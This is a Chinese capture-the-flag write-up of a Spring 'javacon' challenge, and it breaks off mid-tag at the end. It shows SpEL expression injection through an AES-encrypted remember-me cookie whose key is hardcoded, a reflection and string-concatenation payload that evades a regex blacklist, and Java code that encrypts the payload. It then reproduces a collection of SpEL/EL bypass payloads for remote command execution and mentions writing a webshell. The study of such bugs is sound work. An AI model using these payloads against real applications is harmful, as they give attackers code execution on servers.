前言

这个是P牛知识星球上的一道题,历史久远,但是值得学习

题目文件:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

题目分析

解压jar拿到配置文件

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1

反编译class查看一下代码,可以边运行jar边分析

查看MainController,没有登录的情况下会跳转到/login

@GetMapping({"/login"})
    public String login() {
        return "login";
    }

    @GetMapping({"/login-error"})
    public String loginError(Model model) {
        model.addAttribute("loginError", true);
        model.addAttribute("errorMsg", "账号或密码不正确");
        return "login";
    }

@PostMapping({"/login"})
public String login(
        @RequestParam(value = "username",required = true) String username,
        @RequestParam(value = "password",required = true) String password,
        @RequestParam(value = "remember-me",required = false) String isRemember,
        HttpSession session,
        HttpServletResponse response
) {
    if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
        session.setAttribute("username", username);
        if (isRemember != null && !isRemember.equals("")) {
            Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
            c.setMaxAge(2592000);
            response.addCookie(c);
        }

        return "redirect:/";
    } else {
        return "redirect:/login-error";
    }
}

这里会获取前端输入的账号密码,对比配置文件里面的账号密码,如果相同并且勾选了remember-me,会返回一个cookie

image-20231020110938858

然后通过这个cookie可以成功访问到登录成功的页面

image-20231020111334267

主要逻辑还有看这里

@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
    if (rememberMeValue != null && !rememberMeValue.equals("")) {
        String username = this.userConfig.decryptRememberMe(rememberMeValue);
        if (username != null) {
            session.setAttribute("username", username);
        }
    }

    Object username = session.getAttribute("username");
    if (username != null && !username.toString().equals("")) {
        model.addAttribute("name", this.getAdvanceValue(username.toString()));
        return "hello";
    } else {
        return "redirect:/login";
    }
}

在这里会查看存不存在remember-me,如果存在则进行解密获取username,这里只是检查了能否解密成功,然后进入将解密内容传入

this.getAdvanceValue

private String getAdvanceValue(String val) {
    for(String keyword : this.keyworkProperties.getBlacklist()) {
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
        }
    }

    ParserContext parserContext = new TemplateParserContext();
    Expression exp = this.parser.parseExpression(val, parserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue(evaluationContext).toString();
}

在这个方法里面,会进行黑名单检查,黑面单在开头的配置文件里,如果没有匹配到黑名单则进行spel解析,如果这个黑名单可以绕过则会造成spel表达式注入

综上所诉,思路就是将payload加密,通过Cookie: remember-me传参

payload构造

一般的payload如下:

//利用要加上界定符,#{<表达式>}
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
    
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

查看一下黑面单

blacklist:
    - java.+lang
    - Runtime
    - exec.*\(

可以通过反射和字符串拼接绕过

T(String).getClass().forName("ja"+"va.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("ja"+"va.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("ja"+"va.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

下一步就是加密了,这个很简单,所需要的参数代码里都有,只需要复制过来用就行

package io.tricking.challenge;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class Main {
    public static void main(String[] args) {
        String key = "c0dehack1nghere1";
        String initVector = "0123456789abcdef";
        String payload = "#{T(String).getClass().forName(\"ja\"+\"va.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"ja\"+\"va.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"ja\"+\"va.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}";
        String en = encrypt(key,initVector,payload);
        System.out.println(en);
//        String de =decrypt(key,initVector,en);
//        System.out.println("de: "+de);
    }
    public static String encrypt(String key, String initVector, String value) {
        try {
            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(1, skeySpec, iv);
            byte[] encrypted = cipher.doFinal(value.getBytes());
            return Base64.getUrlEncoder().encodeToString(encrypted);
        } catch (Exception var7) {

            return null;
        }
    }

    public static String decrypt(String key, String initVector, String encrypted) {
        try {
            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(2, skeySpec, iv);
            byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
            return new String(original);
        } catch (Exception var7) {
            return null;
        }
    }
}

运行得到加密后的payload,去替换remember-me的值然后发包即可

image-20231020114955269

bypass payload合集

这是来自github的https://github.com/bfengj/CTF/blob/main/Web/java/%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5.md

简单记录一下

// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

******************************************************************************
// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

其他payload

// 转自:https://www.jianshu.com/p/ce4ac733a4b9

${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   获取web路径

${header}  文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  执行命令


// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。

<p th:text="$